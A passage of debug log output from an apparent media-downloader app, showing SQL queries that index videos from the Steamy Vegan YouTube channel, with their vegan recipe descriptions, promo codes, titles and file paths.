here: https://steamyvegan.com/tofu-cream-ch...)\nAir fried soy curls\nGluten-free linguine noodles\n\n\nPROMO CODES & LINKS\n\n*TRAINEST NUTRITION TRACKING APP*: Reach your goals 💪🏼 and download the forever FREE Trainest nutrition tracking app here! ➡️ https://trainestapp.com/steamyvegan (available for both iOS & android!) \nCheck out Trainest on YouTube ➡️ \u00A0\u00A0\u00A0/\u00A0@trainestcoach\u00A0\u00A0\n\nGOOD PROTEIN*: Want to try my favourite vegan and gluten-free protein powder? Get 30% off your *first order at GOODPROTEIN.CA with my coupon code: STEAMYVEGANKITCHEN30\n\n*PEKO PRODUCE*: Local to Metro Vancouver or Calgary? Use my code SVK4023 at pekoproduce.com/SVK4023 to save 40% off your first order of ‘peculiar’ produce, delivered right to your door!\n\nINDOOR GARDEN WORKS Want to grow your own hydroponic produce indoors? Use our promo code 'STEAMYVEGAN' to save you $50 off your iHarvest purchase! https://igworks.com/products/iharvest... \n\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "What I Ate as a Vegan on my BIRTHDAY! What I eat in a day 🌱 Birthday vlog 🎉", "5180e4b0-6b1c-4468-8d83-eafc79611b88", 1, [], false, "V4LZwOUlWRw", "https://www.youtube.com/watch?v=V4LZwOUlWRw", 197, "/downloads/downloads/alec/Steamy Vegan/2024-05-07 What I Ate as a Vegan on my BIRTHDAY! What I eat in a day 🌱 Birthday vlog 🎉/What I Ate as a Vegan on my BIRTHDAY! What I eat in a day 🌱 Birthday vlog 🎉 [V4LZwOUlWRw].NA", false, false, false, 1, ~U[2024-05-07 00:00:00Z], ~U[2026-03-22 03:31:07Z], ~U[2026-03-22 03:31:07Z], "What I eat in a day as a vegan on my birthday! Wholesome and high-protein plant-based meals, and a fun day out adventuring around Fort Langley, BC 😁\n\nLooking for more what I eat in a day videos? Watch this playlist here! ➡️ \u00A0\u00A0\u00A0•\u00A0REALISTIC\u00A0'WHAT\u00A0I\u00A0EAT\u00A0IN\u00A0A\u00A0DAY'\u00A0VIDEOS\u00A0🌱\u00A0\u00A0\n\nBreakfast\nBanana Mocha Protein Quinoa Bowls \n1 cup cooked quinoa\n½ a protein shake (half scoop of protein powder & 6oz plant milk)\nToppings: Sliced banana, hemp hearts, cacao nibs\n\nLunch: Vegan gluten-free veggie pizza\n\nDinner\nLoaded Veggie Marinara Pasta\n6 cups chopped veggies\n1 jar marinara sauce\n1 can coconut milk\n1 cup cooked red lentils\ndollop of tofu ricotta (recipe here: https://steamyvegan.com/tofu-cream-ch...)\nAir fried soy curls\nGluten-free linguine noodles\n\n\nPROMO CODES & LINKS\n\n*TRAINEST NUTRITION TRACKING APP*: Reach your goals 💪🏼 and download the forever FREE Trainest nutrition tracking app here! ➡️ https://trainestapp.com/steamyvegan (available for both iOS & android!) \nCheck out Trainest on YouTube ➡️ \u00A0\u00A0\u00A0/\u00A0@trainestcoach\u00A0\u00A0\n\nGOOD PROTEIN*: Want to try my favourite vegan and gluten-free protein powder? Get 30% off your *first order at GOODPROTEIN.CA with my coupon code: STEAMYVEGANKITCHEN30\n\n*PEKO PRODUCE*: Local to Metro Vancouver or Calgary? Use my code SVK4023 at pekoproduce.com/SVK4023 to save 40% off your first order of ‘peculiar’ produce, delivered right to your door!\n\nINDOOR GARDEN WORKS Want to grow your own hydroponic produce indoors? Use our promo code 'STEAMYVEGAN' to save you $50 off your iHarvest purchase! https://igworks.com/products/iharvest... \n\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "What I Ate as a Vegan on my BIRTHDAY! What I eat in a day 🌱 Birthday vlog 🎉", 1, nil, false, "V4LZwOUlWRw", "https://www.youtube.com/watch?v=V4LZwOUlWRw", "/downloads/downloads/alec/Steamy Vegan/2024-05-07 What I Ate as a Vegan on my BIRTHDAY! What I eat in a day 🌱 Birthday vlog 🎉/What I Ate as a Vegan on my BIRTHDAY! What I eat in a day 🌱 Birthday vlog 🎉 [V4LZwOUlWRw].NA", false, ~U[2024-05-07 00:00:00Z]] 20:31:07.518 [debug] QUERY OK source="sources" db=1.0ms idle=10.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:07.520 [debug] QUERY OK source="media_items" db=2.1ms idle=8.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-05-05 00:00:00Z], 1] 20:31:07.522 [debug] QUERY OK source="media_items" db=1.9ms idle=8.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["We're making some classic 90s food from our childhoods and making them vegan, gluten-free and high-protein! As a millennial I grew up on Kraft Dinner, PB&J sandwiches and grilled cheese, so let's still enjoy them today by making them healthier!\n\nMac ‘n Greens\n1 box vegan mac n cheese (gluten-free if needed)\n1 cup broccoli florets\n2 green onions, sliced (reserve a few for garnish)\n½ cup frozen peas\n½ tsp liquid smoke OR ½ tsp smoked paprika\nBlack pepper to taste\nPinch of red chili flakes\nHandful of spinach\nPickled jalapenos for topping\n\n1. Cook the macaroni noodles according to package directions. Once the noodles are halfway cooked, add the broccoli florets and frozen peas, and continue cooking until the noodles are al dente, and the broccoli is bright green with some firmness to it (do not overcook the broccoli)\n2. Drain the noodles, peas and broccoli and return to the pot. Add in the ‘cheese’ sauce or powder according to package directions (add vegan butter or milk as per the directions).\n3. Once the noodles, broccoli and peas are coated in the sauce, add the chopped green onions, liquid smoke and the spinach leaves. Stir and allow the spinach to wilt. Season with black pepper and red chili flakes to taste, and serve in two bowls.\n4. Top with pickled jalapenos, extra green onions and black pepper and enjoy!\n\n\nProtein PB & Chia Jam Sandwich\n\n2 slices sandwich bread\nLentil Peanut Butter:\n2 tbsp cooked red split lentils, mashed\n1½ tbsp peanut butter powder\n1 tbsp water\n\nProtein Berry Chia Spread:\n1 cup frozen berries\n½ cup water\n1 tbsp lemon juice\n2 tbsp chia seeds\n1 scoop Acai Berry Protein powder\nSprinkle of hemp hearts\n\n\nMiso Sriracha Tofu Grilled Cheese\n\n1 thick slice of extra firm tofu\n½ tbsp miso paste\n1 tbsp soy sauce\n1 tsp sriracha\n½ tsp garlic powder\n2 slices sandwich bread\n½ cup vegan cheese shreds\nmushrooms, sliced\nVegan butter or olive oil for grilling\n\n\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\nPROMO CODES & LINKS\n\n*TRAINEST NUTRITION TRACKING APP*: Reach your goals 💪🏼 and download the forever FREE Trainest nutrition tracking app here! ➡️ https://trainestapp.com/steamyvegan (available for both iOS & android!) \nCheck out Trainest on YouTube ➡️ \u00A0\u00A0\u00A0/\u00A0@trainestcoach\u00A0\u00A0\n\nGOOD PROTEIN*: Want to try my favourite vegan and gluten-free protein powder? Get 30% off your *first order at GOODPROTEIN.CA with my coupon code: STEAMYVEGANKITCHEN30\n\nINDOOR GARDEN WORKS Want to grow your own hydroponic produce indoors? Use our promo code 'STEAMYVEGAN' to save you $50 off your iHarvest purchase! https://igworks.com/products/iharvest...", "Retro 90s Recipes Made Vegan, Gluten-Free & High-Protein! PART 2", "ba1e53df-d489-428c-96a6-19e90a2e5c94", 1, [], false, "5s8fANqR5xU", "https://www.youtube.com/watch?v=5s8fANqR5xU", 198, "/downloads/downloads/alec/Steamy Vegan/2024-05-05 Retro 90s Recipes Made Vegan, Gluten-Free & High-Protein! PART 2/Retro 90s Recipes Made Vegan, Gluten-Free & High-Protein! PART 2 [5s8fANqR5xU].NA", false, false, false, 1, ~U[2024-05-05 00:00:00Z], ~U[2026-03-22 03:31:07Z], ~U[2026-03-22 03:31:07Z], "We're making some classic 90s food from our childhoods and making them vegan, gluten-free and high-protein! As a millennial I grew up on Kraft Dinner, PB&J sandwiches and grilled cheese, so let's still enjoy them today by making them healthier!\n\nMac ‘n Greens\n1 box vegan mac n cheese (gluten-free if needed)\n1 cup broccoli florets\n2 green onions, sliced (reserve a few for garnish)\n½ cup frozen peas\n½ tsp liquid smoke OR ½ tsp smoked paprika\nBlack pepper to taste\nPinch of red chili flakes\nHandful of spinach\nPickled jalapenos for topping\n\n1. Cook the macaroni noodles according to package directions. Once the noodles are halfway cooked, add the broccoli florets and frozen peas, and continue cooking until the noodles are al dente, and the broccoli is bright green with some firmness to it (do not overcook the broccoli)\n2. Drain the noodles, peas and broccoli and return to the pot. Add in the ‘cheese’ sauce or powder according to package directions (add vegan butter or milk as per the directions).\n3. Once the noodles, broccoli and peas are coated in the sauce, add the chopped green onions, liquid smoke and the spinach leaves. Stir and allow the spinach to wilt. Season with black pepper and red chili flakes to taste, and serve in two bowls.\n4. Top with pickled jalapenos, extra green onions and black pepper and enjoy!\n\n\nProtein PB & Chia Jam Sandwich\n\n2 slices sandwich bread\nLentil Peanut Butter:\n2 tbsp cooked red split lentils, mashed\n1½ tbsp peanut butter powder\n1 tbsp water\n\nProtein Berry Chia Spread:\n1 cup frozen berries\n½ cup water\n1 tbsp lemon juice\n2 tbsp chia seeds\n1 scoop Acai Berry Protein powder\nSprinkle of hemp hearts\n\n\nMiso Sriracha Tofu Grilled Cheese\n\n1 thick slice of extra firm tofu\n½ tbsp miso paste\n1 tbsp soy sauce\n1 tsp sriracha\n½ tsp garlic powder\n2 slices sandwich bread\n½ cup vegan cheese shreds\nmushrooms, sliced\nVegan butter or olive oil for grilling\n\n\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\nPROMO CODES & LINKS\n\n*TRAINEST NUTRITION TRACKING APP*: Reach your goals 💪🏼 and download the forever FREE Trainest nutrition tracking app here! ➡️ https://trainestapp.com/steamyvegan (available for both iOS & android!) \nCheck out Trainest on YouTube ➡️ \u00A0\u00A0\u00A0/\u00A0@trainestcoach\u00A0\u00A0\n\nGOOD PROTEIN*: Want to try my favourite vegan and gluten-free protein powder? Get 30% off your *first order at GOODPROTEIN.CA with my coupon code: STEAMYVEGANKITCHEN30\n\nINDOOR GARDEN WORKS Want to grow your own hydroponic produce indoors? Use our promo code 'STEAMYVEGAN' to save you $50 off your iHarvest purchase! https://igworks.com/products/iharvest...", "Retro 90s Recipes Made Vegan, Gluten-Free & High-Protein! PART 2", 1, nil, false, "5s8fANqR5xU", "https://www.youtube.com/watch?v=5s8fANqR5xU", "/downloads/downloads/alec/Steamy Vegan/2024-05-05 Retro 90s Recipes Made Vegan, Gluten-Free & High-Protein! PART 2/Retro 90s Recipes Made Vegan, Gluten-Free & High-Protein! PART 2 [5s8fANqR5xU].NA", false, ~U[2024-05-05 00:00:00Z]] 20:31:07.524 [debug] QUERY OK source="sources" db=0.8ms idle=9.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:07.526 [debug] QUERY OK source="media_items" db=2.1ms idle=8.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-05-02 00:00:00Z], 1] 20:31:07.530 [debug] QUERY OK source="media_items" db=2.7ms idle=9.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["We're making some classic 90s food from our childhoods and making them vegan, gluten-free and high-protein! As a millennial I grew up on Mr. Noodles, nachos and cheese and lunchables, so let's still enjoy them today by making them healthier!\n\nLeveled Up Mr. Noodles aka Instant Ramen (for 2 people, half recipe for 1)\n\nINGREDIENTS:\n2 packages of Mr. Noodles, with the seasoning packets OR\n2 bricks of brown rice ramen noodles (if gluten-free) \n4 cup water + 2 tsp better than bouillon vegetable base (omit the bouillon if using instant noodle seasoning packet)\n ½ tbsp oil or ¼ cup water\n2 clove garlic, minced\n1 tsp grated ginger\n1 carrot, thinly sliced\n1 cup frozen edamame, slightly thawed\n2 handfuls spinach\n½ cup coconut milk\n1 tbsp miso paste, dissolved in a couple tbsp of water\nTOPPINGS:\nShredded nori or furikake seasoning \nDrizzle of sesame oil\nPickled jalapenos, sriracha or red chili flakes\n1 tbsp toasted sesame seeds\nHandful enoki mushrooms\n2 green onions, sliced\n\n1. Bring a pot of water to boil and cook the ramen noodles according to package directions, or just until they are tender (cooking times may vary depending if you’re using GF ramen or not). Do not overcook the noodles. Drain and rinse in cold water, then set aside.\n2. Warm a separate pot over medium heat. Add the oil, garlic, and ginger to a small sauce pot and sauté over medium for about one minute.\n3. Add the sliced carrots and sauté for about a minute more.\n4. Add the water, bouillon paste and coconut milk, and bring to a boil. Stir in the spinach until wilted. Turn the heat down to medium-low, add the edamame. Let cook for another 2 to 3 minutes. \n5. Stir in the miso paste and remove the pot from the heat. Transfer the soup and noodles to one or two bowls, then top with any or all of the following toppings: shredded nori/furikake, pickled jalapenos, sriracha/red chili flakes, toasted sesame seeds or drizzle of sesame oil, and sliced green onions.\n\nTofu Nachos and Cheese\n\nINGREDIENTS:\n½ a block of extra firm tofu, sliced into thin triangles\n½ tbsp gluten-free soy sauce\nTaco or fajita seasoning\n2 handfuls of corn tortilla chips\n½ cup diced tomatoes\n½ cup corn, canned or frozen & thawed\n4 green onions, diced\n2 oz vegan cheese shreds\nCouple dollops vegan sour cream/plain yogurt\nSalsa\n½ an avocado, mashed\nCilantro to garnish\n\n1. Slice tofu into triangles, transfer to a mixing bowl, add the soy sauce and taco seasoning to taste and toss gently to combine. Transfer to an airfryer basket and air fry for 18 minutes at 425F or until slightly crispy. Alternatively, bake in the oven at 400F for 30 mins.\n2. To a baking tray, add a layer of tortilla chips followed by a layer of the tofu ‘chips’. Sprinkle on a layer of vegan cheddar cheese shreds and diced green onions and return to oven to bake for 7 to 9 minutes, or until the cheese is just melting (but not crisped, as tends to happen when baked too long)\n3. Remove from oven and top with diced tomatoes, corn, more green onion and cilantro. Serve with mashed avocado, vegan sour cream and salsa, then enjoy!\n\nGrown Up ‘Lunchables’ Mini Pizzas\n\n2 mini pizza crusts (gluten-free) or an English muffin\n½ cup marinara sauce\n½ cup vegan mozza shreds\n½ cup sliced mushrooms\nFor the tempeh sausage crumbles:\n1 block tempeh, crumbled\n1½ cup veggie broth or water\n2 tbsp soy sauce\n1 tbsp maple syrup\n1 tsp balsamic vinegar\n1 tsp smoked paprika\n1 tsp onion powder\n1 tsp garlic powder\n½ tsp oregano\n¼ tsp thyme\n¼ tsp cayenne\n¼ tsp black pepper\n\n1. Into a small frying pan, crumble the entire block of tempeh and add the remaining ingredients. Bring to a rapid simmer and allow the liquid to evaporate completely, stirring the crumbles occasionally as the liquid evaporates. Allow the tempeh to brown slightly before removing from the pan.\n2. Assemble your pizza(s): Spread a layer of marinara/pizza sauce on the pizza crust, sprinkle vegan mozzarella, add tempeh sausage crumbles and a few sliced mushrooms. \n3. Bake or air fry until cheese is melted and the pizza is heated through, about 7 to 10 minutes. \n\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0stea" <> ..., "CLASSIC 90s Food Made Vegan, Gluten-free, and High-Protein!", "72fb93f9-7e05-4c86-989e-8331d0b704f0", 1, [], false, "H2E2MvANCDk", "https://www.youtube.com/watch?v=H2E2MvANCDk", 199, "/downloads/downloads/alec/Steamy Vegan/2024-05-02 CLASSIC 90s Food Made Vegan, Gluten-free, and High-Protein!/CLASSIC 90s Food Made Vegan, Gluten-free, and High-Protein! [H2E2MvANCDk].NA", false, false, false, 1, ~U[2024-05-02 00:00:00Z], ~U[2026-03-22 03:31:07Z], ~U[2026-03-22 03:31:07Z], "We're making some classic 90s food from our childhoods and making them vegan, gluten-free and high-protein! As a millennial I grew up on Mr. Noodles, nachos and cheese and lunchables, so let's still enjoy them today by making them healthier!\n\nLeveled Up Mr. Noodles aka Instant Ramen (for 2 people, half recipe for 1)\n\nINGREDIENTS:\n2 packages of Mr. Noodles, with the seasoning packets OR\n2 bricks of brown rice ramen noodles (if gluten-free) \n4 cup water + 2 tsp better than bouillon vegetable base (omit the bouillon if using instant noodle seasoning packet)\n ½ tbsp oil or ¼ cup water\n2 clove garlic, minced\n1 tsp grated ginger\n1 carrot, thinly sliced\n1 cup frozen edamame, slightly thawed\n2 handfuls spinach\n½ cup coconut milk\n1 tbsp miso paste, dissolved in a couple tbsp of water\nTOPPINGS:\nShredded nori or furikake seasoning \nDrizzle of sesame oil\nPickled jalapenos, sriracha or red chili flakes\n1 tbsp toasted sesame seeds\nHandful enoki mushrooms\n2 green onions, sliced\n\n1. Bring a pot of water to boil and cook the ramen noodles according to package directions, or just until they are tender (cooking times may vary depending if you’re using GF ramen or not). Do not overcook the noodles. Drain and rinse in cold water, then set aside.\n2. Warm a separate pot over medium heat. Add the oil, garlic, and ginger to a small sauce pot and sauté over medium for about one minute.\n3. Add the sliced carrots and sauté for about a minute more.\n4. Add the water, bouillon paste and coconut milk, and bring to a boil. Stir in the spinach until wilted. Turn the heat down to medium-low, add the edamame. Let cook for another 2 to 3 minutes. \n5. Stir in the miso paste and remove the pot from the heat. Transfer the soup and noodles to one or two bowls, then top with any or all of the following toppings: shredded nori/furikake, pickled jalapenos, sriracha/red chili flakes, toasted sesame seeds or drizzle of sesame oil, and sliced green onions.\n\nTofu Nachos and Cheese\n\nINGREDIENTS:\n½ a block of extra firm tofu, sliced into thin triangles\n½ tbsp gluten-free soy sauce\nTaco or fajita seasoning\n2 handfuls of corn tortilla chips\n½ cup diced tomatoes\n½ cup corn, canned or frozen & thawed\n4 green onions, diced\n2 oz vegan cheese shreds\nCouple dollops vegan sour cream/plain yogurt\nSalsa\n½ an avocado, mashed\nCilantro to garnish\n\n1. Slice tofu into triangles, transfer to a mixing bowl, add the soy sauce and taco seasoning to taste and toss gently to combine. Transfer to an airfryer basket and air fry for 18 minutes at 425F or until slightly crispy. Alternatively, bake in the oven at 400F for 30 mins.\n2. To a baking tray, add a layer of tortilla c (truncated) 20:31:07.532 [debug] QUERY OK source="sources" db=1.0ms idle=10.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:07.535 [debug] QUERY OK source="media_items" db=2.4ms idle=9.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-04-28 00:00:00Z], 1] 20:31:07.537 [debug] QUERY OK source="media_items" db=2.0ms idle=11.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Check out what I eat in a day as a vegan! In this video I'm showing you all the easy and healthy vegan recipes that I enjoyed on a normal day as a food blogger. Mostly whole food plant based meals that were high-protein and gluten-free!\n\nLooking for more 'What I Eat in a Day' videos? Watch this playlist next! \u00A0\u00A0\u00A0•\u00A0REALISTIC\u00A0'WHAT\u00A0I\u00A0EAT\u00A0IN\u00A0A\u00A0DAY'\u00A0VIDEOS\u00A0🌱\u00A0\u00A0\n\n\nBreakfast – Chocolate Protein Pancakes\n1 cup soy milk\n2 tsp apple cider vinegar\n1 flax ‘egg’\n¾ cup oat flour\n⅓ cup plant-based chocolate protein powder (I used the choc flavour by \u202A@goodprotein6261\u202C )\n2 tbsp cocoa powder\n1 tbsp baking powder\nPinch of salt\n2 tbsp maple syrup\n1 tsp vanilla extract\n\n1. In a small bowl combine the soy milk and apple cider vinegar and set aside to slightly curdle, creating ‘buttermilk’. Then make a flax egg by combining 1 tbsp ground flaxseed with 2½ tbsp water, set aside 10 mins to gel.\n2. In a mixing bowl, whisk together the oat flour, protein powder, cocoa powder, baking powder and salt. \n3. Stir the flax egg into the ‘buttermilk’ and pour the mixture into the dry ingredients and stir’ until a thick batter forms, then pour in the maple syrup and vanilla and continue mixing until no lumps remain. Set aside batter for a couple minutes while you heat a skillet over medium heat.\n4. Lightly spray the skillet with cooking oil and scoop out ¼ cup dollops of batter into the skillet. Cook for 2 to 3 minutes until bubbles form on the top and the edges turn slightly golden and crisp, then flip and cook the other side for 2-3 minutes until the pancakes puffs up a bit.\n5. Serve with sliced banana, choc chips or cocoa nibs, hemp hearts and maple syrup.\n\nDinner – Saucy Tomato, Spinach & Artichoke White Beans\n4 cloves garlic, minced\n1 tbsp oil or ¼ cup water\n¼ cup sun-dried tomatoes, chopped\n1 can artichoke hearts, drained and rinsed\n1 28oz can diced tomatoes\n2 15oz. cans cannellini beans, drained NOT rinsed\n1 tsp dried oregano\nJuice of ½ lemon, about 2 tbsp \nZest of ½ a lemon, about 1 tsp\nBlack pepper and salt to taste\n2 tbsp nutritional yeast\n2 cups fresh spinach\n\n1. Mince the garlic and slice the artichoke hearts in half. Add oil or water to a large skillet and heat over medium. Add the garlic and sauté for about 1 minute, or just until fragrant.\n2. Add the sun-dried tomatoes and artichoke to the skillet and stir to combine.\n3. Add the drained white beans along with the canned tomatoes, oregano, lemon juice and zest and pepper. Stir to combine.\n4. Allow the beans to come up to a simmer. Simmer the beans, stirring occasionally, until the liquid from the canned tomatoes begins to reduce.\n5. Add the nutritional yeast and stir into the sauce. Ad the fresh spinach to the skillet and stir t combine, allow the spinach to wilt.\n6. Taste the beans and adjust the salt, pepper or anything else to your liking. Serve with garlic bread and enjoy!\n\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\nPROMO CODES & LINKS\n\n*TRAINEST NUTRITION TRACKING APP*: Reach your goals 💪🏼 and download the forever FREE Trainest nutrition tracking app here! ➡️ https://trainestapp.com/steamyvegan (available for both iOS & android!) \nCheck out Trainest on YouTube ➡️ \u00A0\u00A0\u00A0/\u00A0@trainestcoach\u00A0\u00A0\n\nGOOD PROTEIN*: Want to try my favourite vegan and gluten-free protein powder? Get 30% off your *first order at GOODPROTEIN.CA with my coupon code: STEAMYVEGANKITCHEN30\n\n*PEKO PRODUCE*: Local to Metro Vancouver or Calgary? Use my code SVK4023 at pekoproduce.com/SVK4023 to save 40% off your first order of ‘peculiar’ produce, delivered right to your door!\n\nINDOOR GARDEN WORKS Want to grow your own hydroponic produce indoors? Use our promo code 'STEAMYVEGAN' to save you $50 off your iHarvest purchase! https://igworks.com/products/iharvest...", "What I Eat in a Day | Easy and Healthy Vegan Recipes + Grocery Haul", "68831409-04d6-4e41-a53c-798557a8787d", 1, [], false, "gQDjlC5etq0", "https://www.youtube.com/watch?v=gQDjlC5etq0", 200, "/downloads/downloads/alec/Steamy Vegan/2024-04-28 What I Eat in a Day | Easy and Healthy Vegan Recipes + Grocery Haul/What I Eat in a Day | Easy and Healthy Vegan Recipes + Grocery Haul [gQDjlC5etq0].NA", false, false, false, 1, ~U[2024-04-28 00:00:00Z], ~U[2026-03-22 03:31:07Z], ~U[2026-03-22 03:31:07Z], "Check out what I eat in a day as a vegan! In this video I'm showing you all the easy and healthy vegan recipes that I enjoyed on a normal day as a food blogger. Mostly whole food plant based meals that were high-protein and gluten-free!\n\nLooking for more 'What I Eat in a Day' videos? Watch this playlist next! \u00A0\u00A0\u00A0•\u00A0REALISTIC\u00A0'WHAT\u00A0I\u00A0EAT\u00A0IN\u00A0A\u00A0DAY'\u00A0VIDEOS\u00A0🌱\u00A0\u00A0\n\n\nBreakfast – Chocolate Protein Pancakes\n1 cup soy milk\n2 tsp apple cider vinegar\n1 flax ‘egg’\n¾ cup oat flour\n⅓ cup plant-based chocolate protein powder (I used the choc flavour by \u202A@goodprotein6261\u202C )\n2 tbsp cocoa powder\n1 tbsp baking powder\nPinch of salt\n2 tbsp maple syrup\n1 tsp vanilla extract\n\n1. In a small bowl combine the soy milk and apple cider vinegar and set aside to slightly curdle, creating ‘buttermilk’. Then make a flax egg by combining 1 tbsp ground flaxseed with 2½ tbsp water, set aside 10 mins to gel.\n2. In a mixing bowl, whisk together the oat flour, protein powder, cocoa powder, baking powder and salt. \n3. Stir the flax egg into the ‘buttermilk’ and pour the mixture into the dry ingredients and stir’ until a thick batter forms, then pour in the maple syrup and vanilla and continue mixing until no lumps remain. Set aside batter for a couple minutes while you heat a skillet over medium heat.\n4. Lightly spray the skillet with cooking oil and scoop out ¼ cup dollops of batter into the skillet. Cook for 2 to 3 minutes until bubbles form on the top and the edges turn slightly golden and crisp, then flip and cook the other side for 2-3 minutes until the pancakes puffs up a bit.\n5. Serve with sliced banana, choc chips or cocoa nibs, hemp hearts and maple syrup.\n\nDinner – Saucy Tomato, Spinach & Artichoke White Beans\n4 cloves garlic, minced\n1 tbsp oil or ¼ cup water\n¼ cup sun-dried tomatoes, chopped\n1 can artichoke hearts, drained and rinsed\n1 28oz can diced tomatoes\n2 15oz. cans cannellini beans, drained NOT rinsed\n1 tsp dried oregano\nJuice of ½ lemon, about 2 tbsp \nZest of ½ a lemon, about 1 tsp\nBlack pepper and salt to taste\n2 tbsp nutritional yeast\n2 cups fresh spinach\n\n1. Mince the garlic and slice the artichoke hearts in half. Add oil or water to a large skillet and heat over medium. Add the garlic and sauté for about 1 minute, or just until fragrant.\n2. Add the sun-dried tomatoes and artichoke to the skillet and stir to combine.\n3. Add the drained white beans along with the canned tomatoes, oregano, lemon juice and zest and pepper. Stir to combine.\n4. Allow the beans to come up to a simmer. Simmer the beans, stirring occasionally, until the liquid from the canned tomatoes b (truncated) 20:31:07.539 [debug] QUERY OK source="sources" db=0.7ms idle=12.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", 